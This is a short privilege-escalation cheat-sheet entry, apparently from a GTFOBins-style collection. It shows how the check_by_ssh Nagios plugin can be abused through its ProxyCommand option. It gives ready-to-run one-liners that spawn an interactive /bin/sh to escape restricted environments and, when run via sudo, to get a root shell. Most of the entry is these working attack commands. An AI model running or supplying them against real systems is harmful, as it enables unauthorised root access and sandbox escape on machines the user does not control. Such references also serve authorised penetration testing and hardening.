~/Privilege Escalation/Linux/Binaries# cat check_by_ssh.md

This is the check_by_ssh Nagios plugin, available e.g. in /usr/lib/nagios/plugins/. Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

The shell will only last 10 seconds.

check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

The shell will only last 10 seconds.

sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx